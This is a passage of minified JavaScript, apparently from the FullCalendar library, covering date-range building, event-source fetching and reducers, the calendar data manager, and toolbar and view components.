r.duration?(o=r.duration,i=r.durationUnit,a=this.buildRangeFromDuration(e,t,o,i)):(n=this.props.dayCount)?(i="day",a=this.buildRangeFromDayCount(e,t,n)):(a=this.buildCustomVisibleRange(e))?i=r.dateEnv.greatestWholeUnit(a.start,a.end).unit:(i=nt(o=this.getFallbackDuration()).unit,a=this.buildRangeFromDuration(e,t,o,i)),{duration:o,unit:i,range:a}},e.prototype.getFallbackDuration=function(){return Xe({day:1})},e.prototype.adjustActiveRange=function(e){var t=this.props,n=t.dateEnv,r=t.usesMinMaxTime,o=t.slotMinTime,i=t.slotMaxTime,a=e.start,s=e.end;return r&&(Qe(o)<0&&(a=we(a),a=n.add(a,o)),Qe(i)>1&&(s=me(s=we(s),-1),s=n.add(s,i))),{start:a,end:s}},e.prototype.buildRangeFromDuration=function(e,t,n,r){var o,i,a,s=this.props,l=s.dateEnv,u=s.dateAlignment;if(!u){var c=this.props.dateIncrement;u=c&&et(c)<et(n)?nt(c).unit:r}function d(){o=l.startOf(e,u),i=l.add(o,n),a={start:o,end:i}}return Qe(n)<=1&&this.isHiddenDay(o)&&(o=we(o=this.skipHiddenDays(o,t))),d(),this.trimHiddenDays(a)||(e=this.skipHiddenDays(e,t),d()),a},e.prototype.buildRangeFromDayCount=function(e,t,n){var r,o=this.props,i=o.dateEnv,a=o.dateAlignment,s=0,l=e;a&&(l=i.startOf(l,a)),l=we(l),r=l=this.skipHiddenDays(l,t);do{r=me(r,1),this.isHiddenDay(r)||(s+=1)}while(s<n);return{start:l,end:r}},e.prototype.buildCustomVisibleRange=function(e){var t=this.props,n=t.visibleRangeInput,r="function"==typeof n?n.call(t.calendarApi,t.dateEnv.toDate(e)):n,o=this.refineRange(r);return!o||null!=o.start&&null!=o.end?o:null},e.prototype.buildRenderRange=function(e,t,n){return e},e.prototype.buildDateIncrement=function(e){var t,n=this.props.dateIncrement;return n||((t=this.props.dateAlignment)?Xe(1,t):e||Xe({days:1}))},e.prototype.refineRange=function(e){if(e){var t=(n=e,r=this.props.dateEnv,o=null,i=null,n.start&&(o=r.createMarker(n.start)),n.end&&(i=r.createMarker(n.end)),o||i?o&&i&&i<o?null:{start:o,end:i}:null);return t&&(t=Qt(t)),t}var n,r,o,i;return null},e.prototype.initHiddenDays=function(){var e,t=this.props.hiddenDays||[],n=[],r=0;for(!1===this.props.weekends&&t.push(0,6),e=0;e<7;e+=1)(n[e]=-1!==t.indexOf(e))||(r+=1);if(!r)throw new Error("invalid hiddenDays");this.isHiddenDayHash=n},e.prototype.trimHiddenDays=function(e){var t=e.start,n=e.end;return t&&(t=this.skipHiddenDays(t)),n&&(n=this.skipHiddenDays(n,-1,!0)),null==t||null==n||t<n?{start:t,end:n}:null},e.prototype.isHiddenDay=function(e){return e instanceof Date&&(e=e.getUTCDay()),this.isHiddenDayHash[e]},e.prototype.skipHiddenDays=function(e,t,n){for(void 0===t&&(t=1),void 0===n&&(n=!1);this.isHiddenDayHash[(e.getUTCDay()+(n?t:0)+7)%7];)e=me(e,t);return e},e}();function ko(e,t,n){var r=t?t.activeRange:null;return _o({},function(e,t){var n=Vn(t),r=[].concat(e.eventSources||[]),o=[];e.initialEvents&&r.unshift(e.initialEvents);e.events&&r.unshift(e.events);for(var i=0,a=r;i<a.length;i++){var s=Wn(a[i],t,n);s&&o.push(s)}return o}(e,n),r,n)}function Mo(e,t,n,o){var i,a,s=n?n.activeRange:null;switch(t.type){case"ADD_EVENT_SOURCES":return _o(e,t.sources,s,o);case"REMOVE_EVENT_SOURCE":return i=e,a=t.sourceId,Ae(i,(function(e){return e.sourceId!==a}));case"PREV":case"NEXT":case"CHANGE_DATE":case"CHANGE_VIEW_TYPE":return n?Io(e,s,o):e;case"FETCH_EVENT_SOURCES":return Po(e,t.sourceIds?Le(t.sourceIds):Ho(e,o),s,o);case"RECEIVE_EVENTS":case"RECEIVE_EVENT_ERROR":return function(e,t,n,o){var i,a=e[t];if(a&&n===a.latestFetchId)return r(r({},e),((i={})[t]=r(r({},a),{isFetching:!1,fetchRange:o}),i));return e}(e,t.sourceId,t.fetchId,t.fetchRange);case"REMOVE_ALL_EVENT_SOURCES":return{};default:return e}}function xo(e){for(var t in e)if(e[t].isFetching)return!0;return!1}function _o(e,t,n,o){for(var i={},a=0,s=t;a<s.length;a++){var l=s[a];i[l.sourceId]=l}return n&&(i=Io(i,n,o)),r(r({},e),i)}function Io(e,t,n){return Po(e,Ae(e,(function(e){return function(e,t,n){if(!Oo(e,n))return!e.latestFetchId;return!n.options.lazyFetching||!e.fetchRange||e.isFetching||t.start<e.fetchRange.start||t.end>e.fetchRange.end}(e,t,n)})),t,n)}function Po(e,t,n,r){var o={};for(var i in e){var a=e[i];t[i]?o[i]=No(a,n,r):o[i]=a}return o}function No(e,t,n){var o=n.options,i=n.calendarApi,a=n.pluginHooks.eventSourceDefs[e.sourceDefId],s=ee();return a.fetch({eventSource:e,range:t,context:n},(function(r){var a=r.rawEvents;o.eventSourceSuccess&&(a=o.eventSourceSuccess.call(i,a,r.xhr)||a),e.success&&(a=e.success.call(i,a,r.xhr)||a),n.dispatch({type:"RECEIVE_EVENTS",sourceId:e.sourceId,fetchId:s,fetchRange:t,rawEvents:a})}),(function(r){console.warn(r.message,r),o.eventSourceFailure&&o.eventSourceFailure.call(i,r),e.failure&&e.failure(r),n.dispatch({type:"RECEIVE_EVENT_ERROR",sourceId:e.sourceId,fetchId:s,fetchRange:t,error:r})})),r(r({},e),{isFetching:!0,latestFetchId:s})}function Ho(e,t){return Ae(e,(function(e){return Oo(e,t)}))}function Oo(e,t){return!t.pluginHooks.eventSourceDefs[e.sourceDefId].ignoreRange}function Ao(e,t){switch(t.type){case"UNSELECT_DATES":return null;case"SELECT_DATES":return t.selection;default:return e}}function Uo(e,t){switch(t.type){case"UNSELECT_EVENT":return"";case"SELECT_EVENT":return t.eventInstanceId;default:return e}}function Lo(e,t){var n;switch(t.type){case"UNSET_EVENT_DRAG":return null;case"SET_EVENT_DRAG":return{affectedEvents:(n=t.state).affectedEvents,mutatedEvents:n.mutatedEvents,isEvent:n.isEvent};default:return e}}function Wo(e,t){var n;switch(t.type){case"UNSET_EVENT_RESIZE":return null;case"SET_EVENT_RESIZE":return{affectedEvents:(n=t.state).affectedEvents,mutatedEvents:n.mutatedEvents,isEvent:n.isEvent};default:return e}}function Vo(e,t,n,r,o){var i=[];return{headerToolbar:e.headerToolbar?Fo(e.headerToolbar,e,t,n,r,o,i):null,footerToolbar:e.footerToolbar?Fo(e.footerToolbar,e,t,n,r,o,i):null,viewsWithButtons:i}}function Fo(e,t,n,r,o,i,a){return Ue(e,(function(e){return function(e,t,n,r,o,i,a){var s="rtl"===t.direction,l=t.customButtons||{},u=n.buttonText||{},c=t.buttonText||{};return(e?e.split(" "):[]).map((function(e){return e.split(",").map((function(e){return"title"===e?{buttonName:e}:((t=l[e])?(d=function(e){t.click&&t.click.call(e.target,e,e.target)},(p=r.getCustomButtonIconClass(t))||(p=r.getIconClass(e,s))||(f=t.text)):(n=o[e])?(a.push(e),d=function(){i.changeView(e)},(f=n.buttonTextOverride)||(p=r.getIconClass(e,s))||(f=n.buttonTextDefault)):i[e]&&(d=function(){i[e]()},(f=u[e])||(p=r.getIconClass(e,s))||(f=c[e])),{buttonName:e,buttonClick:d,buttonIcon:p,buttonText:f});var t,n,d,p,f}))}))}(e,t,n,r,o,i,a)}))}function zo(e,t,n,r,o){var i=null;"GET"===(e=e.toUpperCase())?t=function(e,t){return e+(-1===e.indexOf("?")?"?":"&")+Bo(t)}(t,n):i=Bo(n);var a=new XMLHttpRequest;a.open(e,t,!0),"GET"!==e&&a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),a.onload=function(){if(a.status>=200&&a.status<400){var e=!1,t=void 0;try{t=JSON.parse(a.responseText),e=!0}catch(e){}e?r(t,a):o("Failure parsing JSON",a)}else o("Request failed",a)},a.onerror=function(){o("Request failed",a)},a.send(i)}function Bo(e){var t=[];for(var n in e)t.push(encodeURIComponent(n)+"="+encodeURIComponent(e[n]));return t.join("&")}function jo(e,t){for(var n=We(t.getCurrentData().eventSources),r=[],o=0,i=e;o<i.length;o++){for(var a=i[o],s=!1,l=0;l<n.length;l+=1)if(n[l]._raw===a){n.splice(l,1),s=!0;break}s||r.push(a)}for(var u=0,c=n;u<c.length;u++){var d=c[u];t.dispatch({type:"REMOVE_EVENT_SOURCE",sourceId:d.sourceId})}for(var p=0,f=r;p<f.length;p++){var h=f[p];t.calendarApi.addEventSource(h)}}var Go=[lo({eventSourceDefs:[{ignoreRange:!0,parseMeta:function(e){return Array.isArray(e.events)?e.events:null},fetch:function(e,t){t({rawEvents:e.eventSource.meta})}}]}),lo({eventSourceDefs:[{parseMeta:function(e){return"function"==typeof e.events?e.events:null},fetch:function(e,t,n){var r=e.context.dateEnv;Mr(e.eventSource.meta.bind(null,Mn(e.range,r)),(function(e){t({rawEvents:e})}),n)}}]}),lo({eventSourceRefiners:{method:String,extraParams:Pt,startParam:String,endParam:String,timeZoneParam:String},eventSourceDefs:[{parseMeta:function(e){return!e.url||"json"!==e.format&&e.format?null:{url:e.url,format:"json",method:(e.method||"GET").toUpperCase(),extraParams:e.extraParams,startParam:e.startParam,endParam:e.endParam,timeZoneParam:e.timeZoneParam}},fetch:function(e,t,n){var o=e.eventSource.meta,i=function(e,t,n){var o,i,a,s,l=n.dateEnv,u=n.options,c={};null==(o=e.startParam)&&(o=u.startParam);null==(i=e.endParam)&&(i=u.endParam);null==(a=e.timeZoneParam)&&(a=u.timeZoneParam);s="function"==typeof e.extraParams?e.extraParams():e.extraParams||{};r(c,s),c[o]=l.formatIso(t.start),c[i]=l.formatIso(t.end),"local"!==l.timeZone&&(c[a]=l.timeZone);return c}(o,e.range,e.context);zo(o.method,o.url,i,(function(e,n){t({rawEvents:e,xhr:n})}),(function(e,t){n({message:e,xhr:t})}))}}]}),lo({recurringTypes:[{parse:function(e,t){if(e.daysOfWeek||e.startTime||e.endTime||e.startRecur||e.endRecur){var n={daysOfWeek:e.daysOfWeek||null,startTime:e.startTime||null,endTime:e.endTime||null,startRecur:e.startRecur?t.createMarker(e.startRecur):null,endRecur:e.endRecur?t.createMarker(e.endRecur):null},r=void 0;return e.duration&&(r=e.duration),!r&&e.startTime&&e.endTime&&(o=e.endTime,i=e.startTime,r={years:o.years-i.years,months:o.months-i.months,days:o.days-i.days,milliseconds:o.milliseconds-i.milliseconds}),{allDayGuess:Boolean(!e.startTime&&!e.endTime),duration:r,typeData:n}}var o,i;return null},expand:function(e,t,n){var r=on(t,{start:e.startRecur,end:e.endRecur});return r?function(e,t,n,r){var o=e?Le(e):null,i=we(n.start),a=n.end,s=[];for(;i<a;){var l=void 0;o&&!o[i.getUTCDay()]||(l=t?r.add(i,t):i,s.push(l)),i=me(i,1)}return s}(e.daysOfWeek,e.startTime,r,n):[]}}],eventRefiners:{daysOfWeek:Pt,startTime:Xe,endTime:Xe,duration:Xe,startRecur:Pt,endRecur:Pt}}),lo({optionChangeHandlers:{events:function(e,t){jo([e],t)},eventSources:jo}}),lo({isLoadingFuncs:[function(e){return xo(e.eventSources)}],contentTypeHandlers:{html:function(){return{render:qo}},domNodes:function(){return{render:Yo}}},propSetHandlers:{dateProfile:function(e,t){t.emitter.trigger("datesSet",r(r({},Mn(e.activeRange,t.dateEnv)),{view:t.viewApi}))},eventStore:function(e,t){var n=t.emitter;n.hasHandlers("eventsSet")&&n.trigger("eventsSet",Gn(e,t))}}})];function qo(e,t){e.innerHTML=t}function Yo(e,t){var n=Array.prototype.slice.call(e.childNodes),r=Array.prototype.slice.call(t);if(!at(n,r)){for(var o=0,i=r;o<i.length;o++){var a=i[o];e.appendChild(a)}n.forEach(F)}}var Zo=function(){function e(e){this.drainedOption=e,this.isRunning=!1,this.isDirty=!1,this.pauseDepths={},this.timeoutId=0}return e.prototype.request=function(e){this.isDirty=!0,this.isPaused()||(this.clearTimeout(),null==e?this.tryDrain():this.timeoutId=setTimeout(this.tryDrain.bind(this),e))},e.prototype.pause=function(e){void 0===e&&(e="");var t=this.pauseDepths;t[e]=(t[e]||0)+1,this.clearTimeout()},e.prototype.resume=function(e,t){void 0===e&&(e="");var n=this.pauseDepths;if(e in n){if(t)delete n[e];else n[e]-=1,n[e]<=0&&delete n[e];this.tryDrain()}},e.prototype.isPaused=function(){return Object.keys(this.pauseDepths).length},e.prototype.tryDrain=function(){if(!this.isRunning&&!this.isPaused()){for(this.isRunning=!0;this.isDirty;)this.isDirty=!1,this.drained();this.isRunning=!1}},e.prototype.clear=function(){this.clearTimeout(),this.isDirty=!1,this.pauseDepths={}},e.prototype.clearTimeout=function(){this.timeoutId&&(clearTimeout(this.timeoutId),this.timeoutId=0)},e.prototype.drained=function(){this.drainedOption&&this.drainedOption()},e}(),Xo=function(){function e(e,t){this.runTaskOption=e,this.drainedOption=t,this.queue=[],this.delayedRunner=new Zo(this.drain.bind(this))}return e.prototype.request=function(e,t){this.queue.push(e),this.delayedRunner.request(t)},e.prototype.pause=function(e){this.delayedRunner.pause(e)},e.prototype.resume=function(e,t){this.delayedRunner.resume(e,t)},e.prototype.drain=function(){for(var e=this.queue;e.length;){for(var t=[],n=void 0;n=e.shift();)this.runTask(n),t.push(n);this.drained(t)}},e.prototype.runTask=function(e){this.runTaskOption&&this.runTaskOption(e)},e.prototype.drained=function(e){this.drainedOption&&this.drainedOption(e)},e}();function Ko(e,t,n){var r;return r=/^(year|month)$/.test(e.currentRangeUnit)?e.currentRange:e.activeRange,n.formatRange(r.start,r.end,bt(t.titleFormat||function(e){var t=e.currentRangeUnit;if("year"===t)return{year:"numeric"};if("month"===t)return{year:"numeric",month:"long"};var n=Ce(e.currentRange.start,e.currentRange.end);if(null!==n&&n>1)return{year:"numeric",month:"short",day:"numeric"};return{year:"numeric",month:"long",day:"numeric"}}(e)),{isEndExclusive:e.isRangeAllDay,defaultSeparator:t.titleRangeSeparator})}var Jo=function(){function e(e){var t=this;this.computeOptionsData=st(this._computeOptionsData),this.computeCurrentViewData=st(this._computeCurrentViewData),this.organizeRawLocales=st(er),this.buildLocale=st(tr),this.buildPluginHooks=uo(),this.buildDateEnv=st($o),this.buildTheme=st(Qo),this.parseToolbars=st(Vo),this.buildViewSpecs=st(wo),this.buildDateProfileGenerator=lt(ei),this.buildViewApi=st(ti),this.buildViewUiProps=lt(oi),this.buildEventUiBySource=st(ni,Ve),this.buildEventUiBases=st(ri),this.parseContextBusinessHours=lt(ai),this.buildTitle=st(Ko),this.emitter=new xr,this.actionRunner=new Xo(this._handleAction.bind(this),this.updateData.bind(this)),this.currentCalendarOptionsInput={},this.currentCalendarOptionsRefined={},this.currentViewOptionsInput={},this.currentViewOptionsRefined={},this.currentCalendarOptionsRefiners={},this.getCurrentData=function(){return t.data},this.dispatch=function(e){t.actionRunner.request(e)},this.props=e,this.actionRunner.pause();var n={},o=this.computeOptionsData(e.optionOverrides,n,e.calendarApi),i=o.calendarOptions.initialView||o.pluginHooks.initialView,a=this.computeCurrentViewData(i,o,e.optionOverrides,n);e.calendarApi.currentDataManager=this,this.emitter.setThisContext(e.calendarApi),this.emitter.setOptions(a.options);var s,l,u,c=(s=o.calendarOptions,l=o.dateEnv,null!=(u=s.initialDate)?l.createMarker(u):Fn(s.now,l)),d=a.dateProfileGenerator.build(c);un(d.activeRange,c)||(c=d.currentRange.start);for(var p={dateEnv:o.dateEnv,options:o.calendarOptions,pluginHooks:o.pluginHooks,calendarApi:e.calendarApi,dispatch:this.dispatch,emitter:this.emitter,getCurrentData:this.getCurrentData},f=0,h=o.pluginHooks.contextInit;f<h.length;f++){(0,h[f])(p)}for(var v=ko(o.calendarOptions,d,p),g={dynamicOptionOverrides:n,currentViewType:i,currentDate:c,dateProfile:d,businessHours:this.parseContextBusinessHours(p),eventSources:v,eventUiBases:{},eventStore:{defs:{},instances:{}},renderableEventStore:{defs:{},instances:{}},dateSelection:null,eventSelection:"",eventDrag:null,eventResize:null,selectionConfig:this.buildViewUiProps(p).selectionConfig},m=r(r({},p),g),y=0,E=o.pluginHooks.reducers;y<E.length;y++){var S=E[y];r(g,S(null,null,m))}ii(g,p)&&this.emitter.trigger("loading",!0),this.state=g,this.updateData(),this.actionRunner.resume()}return e.prototype.resetOptions=function(e,t){var n=this.props;n.optionOverrides=t?r(r({},n.optionOverrides),e):e,this.actionRunner.request({type:"NOTHING"})},e.prototype._handleAction=function(e){var t=this.props,n=this.state,o=this.emitter,i=function(e,t){var n;switch(t.type){case"SET_OPTION":return r(r({},e),((n={})[t.optionName]=t.rawOptionValue,n));default:return e}}(n.dynamicOptionOverrides,e),a=this.computeOptionsData(t.optionOverrides,i,t.calendarApi),s=function(e,t){switch(t.type){case"CHANGE_VIEW_TYPE":e=t.viewType}return e}(n.currentViewType,e),l=this.computeCurrentViewData(s,a,t.optionOverrides,i);t.calendarApi.currentDataManager=this,o.setThisContext(t.calendarApi),o.setOptions(l.options);var u={dateEnv:a.dateEnv,options:a.calendarOptions,pluginHooks:a.pluginHooks,calendarApi:t.calendarApi,dispatch:this.dispatch,emitter:o,getCurrentData:this.getCurrentData},c=n.currentDate,d=n.dateProfile;this.data&&this.data.dateProfileGenerator!==l.dateProfileGenerator&&(d=l.dateProfileGenerator.build(c)),d=function(e,t,n,r){var o;switch(t.type){case"CHANGE_VIEW_TYPE":return r.build(t.dateMarker||n);case"CHANGE_DATE":if(!e.activeRange||!un(e.currentRange,t.dateMarker))return r.build(t.dateMarker);break;case"PREV":if((o=r.buildPrev(e,n)).isValid)return o;break;case"NEXT":if((o=r.buildNext(e,n)).isValid)return o}return e}(d,e,c=function(e,t){switch(t.type){case"CHANGE_DATE":return t.dateMarker;default:return e}}(c,e),l.dateProfileGenerator),un(d.currentRange,c)||(c=d.currentRange.start);for(var p=Mo(n.eventSources,e,d,u),f=Jr(n.eventStore,e,p,d,u),h=xo(p)&&!l.options.progressiveEventRendering&&n.renderableEventStore||f,v=this.buildViewUiProps(u),g=v.eventUiSingleBase,m=v.selectionConfig,y=this.buildEventUiBySource(p),E={dynamicOptionOverrides:i,currentViewType:s,currentDate:c,dateProfile:d,eventSources:p,eventStore:f,renderableEventStore:h,selectionConfig:m,eventUiBases:this.buildEventUiBases(h.defs,g,y),businessHours:this.parseContextBusinessHours(u),dateSelection:Ao(n.dateSelection,e),eventSelection:Uo(n.eventSelection,e),eventDrag:Lo(n.eventDrag,e),eventResize:Wo(n.eventResize,e)},S=r(r({},u),E),D=0,b=a.pluginHooks.reducers;D<b.length;D++){var C=b[D];r(E,C(n,e,S))}var w=ii(n,u),R=ii(E,u);!w&&R?o.trigger("loading",!0):w&&!R&&o.trigger("loading",!1),this.state=E,t.onAction&&t.onAction(e)},e.prototype.updateData=function(){var e,t,n,o,i,a,s,l,u,c=this.props,d=this.state,p=this.data,f=this.computeOptionsData(c.optionOverrides,d.dynamicOptionOverrides,c.calendarApi),h=this.computeCurrentViewData(d.currentViewType,f,c.optionOverrides,d.dynamicOptionOverrides),v=this.data=r(r(r({viewTitle:this.buildTitle(d.dateProfile,h.options,f.dateEnv),calendarApi:c.calendarApi,dispatch:this.dispatch,emitter:this.emitter,getCurrentData:this.getCurrentData},f),h),d),g=f.pluginHooks.optionChangeHandlers,m=p&&p.calendarOptions,y=f.calendarOptions;if(m&&m!==y)for(var E in m.timeZone!==y.timeZone&&(d.eventSources=v.eventSources=(a=v.eventSources,s=d.dateProfile,l=v,u=s?s.activeRange:null,Po(a,Ho(a,l),u,l)),d.eventStore=v.eventStore=(e=v.eventStore,t=p.dateEnv,n=v.dateEnv,o=e.defs,i=Ue(e.instances,(function(e){var i=o[e.defId];return i.allDay||i.recurringDef?e:r(r({},e),{range:{start:n.createMarker(t.toDate(e.range.start,e.forcedStartTzo)),end:n.createMarker(t.toDate(e.range.end,e.forcedEndTzo))},forcedStartTzo:n.canComputeOffset?null:e.forcedStartTzo,forcedEndTzo:n.canComputeOffset?null:e.forcedEndTzo})})),{defs:o,instances:i})),g)m[E]!==y[E]&&g[E](y[E],v);c.onData&&c.onData(v)},e.prototype._computeOptionsData=function(e,t,n){var r=this.processRawCalendarOptions(e,t),o=r.refinedOptions,i=r.pluginHooks,a=r.localeDefaults,s=r.availableLocaleData;si(r.extra);var l=this.buildDateEnv(o.timeZone,o.locale,o.weekNumberCalculation,o.firstDay,o.weekText,i,s,o.defaultRangeSeparator),u=this.buildViewSpecs(i.views,e,t,a),c=this.buildTheme(o,i);return{calendarOptions:o,pluginHooks:i,dateEnv:l,viewSpecs:u,theme:c,toolbarConfig:this.parseToolbars(o,e,c,u,n),localeDefaults:a,availableRawLocales:s.map}},e.prototype.processRawCalendarOptions=function(e,t){var n=_t([wt,e,t]),o=n.locales,i=n.locale,a=this.organizeRawLocales(o),s=a.map,l=this.buildLocale(i||a.defaultCode,s).options,u=this.buildPluginHooks(e.plugins||[],Go),c=this.currentCalendarOptionsRefiners=r(r(r(r(r({},Ct),Rt),Tt),u.listenerRefiners),u.optionRefiners),d={},p=_t([wt,l,e,t]),f={},h=this.currentCalendarOptionsInput,v=this.currentCalendarOptionsRefined,g=!1;for(var m in p)"plugins"!==m&&(p[m]===h[m]||kt[m]&&m in h&&kt[m](h[m],p[m])?f[m]=v[m]:c[m]?(f[m]=c[m](p[m]),g=!0):d[m]=h[m]);return g&&(this.currentCalendarOptionsInput=p,this.currentCalendarOptionsRefined=f),{rawOptions:this.currentCalendarOptionsInput,refinedOptions:this.currentCalendarOptionsRefined,pluginHooks:u,availableLocaleData:a,localeDefaults:l,extra:d}},e.prototype._computeCurrentViewData=function(e,t,n,r){var o=t.viewSpecs[e];if(!o)throw new Error('viewType "'+e+"\" is not available. Please make sure you've loaded all neccessary plugins");var i=this.processRawViewOptions(o,t.pluginHooks,t.localeDefaults,n,r),a=i.refinedOptions;return si(i.extra),{viewSpec:o,options:a,dateProfileGenerator:this.buildDateProfileGenerator({dateProfileGeneratorClass:o.optionDefaults.dateProfileGeneratorClass,duration:o.duration,durationUnit:o.durationUnit,usesMinMaxTime:o.optionDefaults.usesMinMaxTime,dateEnv:t.dateEnv,calendarApi:this.props.calendarApi,slotMinTime:a.slotMinTime,slotMaxTime:a.slotMaxTime,showNonCurrentDates:a.showNonCurrentDates,dayCount:a.dayCount,dateAlignment:a.dateAlignment,dateIncrement:a.dateIncrement,hiddenDays:a.hiddenDays,weekends:a.weekends,nowInput:a.now,validRangeInput:a.validRange,visibleRangeInput:a.visibleRange,monthMode:a.monthMode,fixedWeekCount:a.fixedWeekCount}),viewApi:this.buildViewApi(e,this.getCurrentData,t.dateEnv)}},e.prototype.processRawViewOptions=function(e,t,n,o,i){var a=_t([wt,e.optionDefaults,n,o,e.optionOverrides,i]),s=r(r(r(r(r(r({},Ct),Rt),Tt),xt),t.listenerRefiners),t.optionRefiners),l={},u=this.currentViewOptionsInput,c=this.currentViewOptionsRefined,d=!1,p={};for(var f in a)a[f]===u[f]?l[f]=c[f]:(a[f]===this.currentCalendarOptionsInput[f]?f in this.currentCalendarOptionsRefined&&(l[f]=this.currentCalendarOptionsRefined[f]):s[f]?l[f]=s[f](a[f]):p[f]=a[f],d=!0);return d&&(this.currentViewOptionsInput=a,this.currentViewOptionsRefined=l),{rawOptions:this.currentViewOptionsInput,refinedOptions:this.currentViewOptionsRefined,extra:p}},e}();function $o(e,t,n,r,o,i,a,s){var l=tr(t||a.defaultCode,a.map);return new Jn({calendarSystem:"gregory",timeZone:e,namedTimeZoneImpl:i.namedTimeZonedImpl,locale:l,weekNumberCalculation:n,firstDay:r,weekText:o,cmdFormatter:i.cmdFormatter,defaultSeparator:s})}function Qo(e,t){return new(t.themeClasses[e.themeSystem]||co)(e)}function ei(e){return new(e.dateProfileGeneratorClass||To)(e)}function ti(e,t,n){return new Un(e,t,n)}function ni(e){return Ue(e,(function(e){return e.ui}))}function ri(e,t,n){var r={"":t};for(var o in e){var i=e[o];i.sourceId&&n[i.sourceId]&&(r[o]=n[i.sourceId])}return r}function oi(e){var t=e.options;return{eventUiSingleBase:zt({display:t.eventDisplay,editable:t.editable,startEditable:t.eventStartEditable,durationEditable:t.eventDurationEditable,constraint:t.eventConstraint,overlap:"boolean"==typeof t.eventOverlap?t.eventOverlap:void 0,allow:t.eventAllow,backgroundColor:t.eventBackgroundColor,borderColor:t.eventBorderColor,textColor:t.eventTextColor,color:t.eventColor},e),selectionConfig:zt({constraint:t.selectConstraint,overlap:"boolean"==typeof t.selectOverlap?t.selectOverlap:void 0,allow:t.selectAllow},e)}}function ii(e,t){for(var n=0,r=t.pluginHooks.isLoadingFuncs;n<r.length;n++){if((0,r[n])(e))return!0}return!1}function ai(e){return ar(e.options.businessHours,e)}function si(e,t){for(var n in e)console.warn("Unknown option '"+n+"'"+(t?" for view '"+t+"'":""))}var li=function(e){function t(t){var n=e.call(this,t)||this;return n.handleData=function(e){n.dataManager?n.setState(e):n.state=e},n.dataManager=new Jo({optionOverrides:t.optionOverrides,calendarApi:t.calendarApi,onData:n.handleData}),n}return n(t,e),t.prototype.render=function(){return this.props.children(this.state)},t.prototype.componentDidUpdate=function(e){var t=this.props.optionOverrides;t!==e.optionOverrides&&this.dataManager.resetOptions(t)},t}(Or);var ui=function(e){this.timeZoneName=e},ci=function(){function e(e){this.component=e.component}return e.prototype.destroy=function(){},e}();function di(e,t){return{component:e,el:t.el,useEventCenter:null==t.useEventCenter||t.useEventCenter}}function pi(e){var t;return(t={})[e.component.uid]=e,t}var fi={},hi=function(){function e(e,t){this.emitter=new xr}return e.prototype.destroy=function(){},e.prototype.setMirrorIsVisible=function(e){},e.prototype.setMirrorNeedsRevert=function(e){},e.prototype.setAutoScrollEnabled=function(e){},e}(),vi={},gi={startTime:Xe,duration:Xe,create:Boolean,sourceId:String};function mi(e){var t=It(e,gi),n=t.refined,r=t.extra;return{startTime:n.startTime||null,duration:n.duration||null,create:null==n.create||n.create,sourceId:n.sourceId,leftoverProps:r}}var yi=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this,t=this.props.widgetGroups.map((function(t){return e.renderWidgetGroup(t)}));return Ar.apply(void 0,o(["div",{className:"fc-toolbar-chunk"}],t))},t.prototype.renderWidgetGroup=function(e){for(var t=this.props,n=this.context.theme,i=[],a=!0,s=0,l=e;s<l.length;s++){var u=l[s],c=u.buttonName,d=u.buttonClick,p=u.buttonText,f=u.buttonIcon;if("title"===c)a=!1,i.push(Ar("h2",{className:"fc-toolbar-title"},t.title));else{var h=f?{"aria-label":c}:{},v=["fc-"+c+"-button",n.getClass("button")];c===t.activeButton&&v.push(n.getClass("buttonActive"));var g=!t.isTodayEnabled&&"today"===c||!t.isPrevEnabled&&"prev"===c||!t.isNextEnabled&&"next"===c;i.push(Ar("button",r({disabled:g,className:v.join(" "),onClick:d,type:"button"},h),p||(f?Ar("span",{className:f}):"")))}}if(i.length>1){var m=a&&n.getClass("buttonGroup")||"";return Ar.apply(void 0,o(["div",{className:m}],i))}return i[0]},t}(Yr),Ei=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e,t,n=this.props,r=n.model,o=n.extraClassName,i=!1,a=r.center;return r.left?(i=!0,e=r.left):e=r.start,r.right?(i=!0,t=r.right):t=r.end,Ar("div",{className:[o||"","fc-toolbar",i?"fc-toolbar-ltr":""].join(" ")},this.renderSection("start",e||[]),this.renderSection("center",a||[]),this.renderSection("end",t||[]))},t.prototype.renderSection=function(e,t){var n=this.props;return Ar(yi,{key:e,widgetGroups:t,title:n.title,activeButton:n.activeButton,isTodayEnabled:n.isTodayEnabled,isPrevEnabled:n.isPrevEnabled,isNextEnabled:n.isNextEnabled})},t}(Yr),Si=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={availableWidth:null},t.handleEl=function(e){t.el=e,Kr(t.props.elRef,e),t.updateAvailableWidth()},t.handleResize=function(){t.updateAvailableWidth()},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.state,n=e.aspectRatio,r=["fc-view-harness",n||e.liquid||e.height?"fc-view-harness-active":"fc-view-harness-passive"],o="",i="";return n?null!==t.availableWidth?o=t.availableWidth/n:i=1/n*100+"%":o=e.height||"",Ar("div",{ref:this.handleEl,onClick:e.onClick,className:r.join(" "),style:{height:o,paddingBottom:i}},e.children)},t.prototype.componentDidMount=function(){this.context.addResizeHandler(this.handleResize)},t.prototype.componentWillUnmount=function(){this.context.removeResizeHandler(this.handleResize)},t.prototype.updateAvailableWidth=function(){this.el&&this.props.aspectRatio&&this.setState({availableWidth:this.el.offsetWidth})},t}(Yr),Di=function(e){function t(t){var n=e.call(this,t)||this;return n.handleSegClick=function(e,t){var r=n.component,o=r.context,i=fn(t);if(i&&r.isValidSegDownEl(e.target)){var a=z(e.target,".fc-event-forced-url"),s=a?a.querySelector("a[href]").href:"";o.emitter.trigger("eventClick",{el:t,event:new Bn(r.context,i.eventRange.def,i.eventRange.instance),jsEvent:e,view:o.viewApi}),s&&!e.defaultPrevented&&(window.location.href=s)}},n.destroy=K(t.el,"click",".fc-event",n.handleSegClick),n}return n(t,e),t}(ci),bi=function(e){function t(t){var n,r,o,i,a,s=e.call(this,t)||this;return s.handleEventElRemove=function(e){e===s.currentSegEl&&s.handleSegLeave(null,s.currentSegEl)},s.handleSegEnter=function(e,t){fn(t)&&(s.currentSegEl=t,s.triggerEvent("eventMouseEnter",e,t))},s.handleSegLeave=function(e,t){s.currentSegEl&&(s.currentSegEl=null,s.triggerEvent("eventMouseLeave",e,t))},s.removeHoverListeners=(n=t.el,r=".fc-event",o=s.handleSegEnter,i=s.handleSegLeave,K(n,"mouseover",r,(function(e,t){if(t!==a){a=t,o(e,t);var 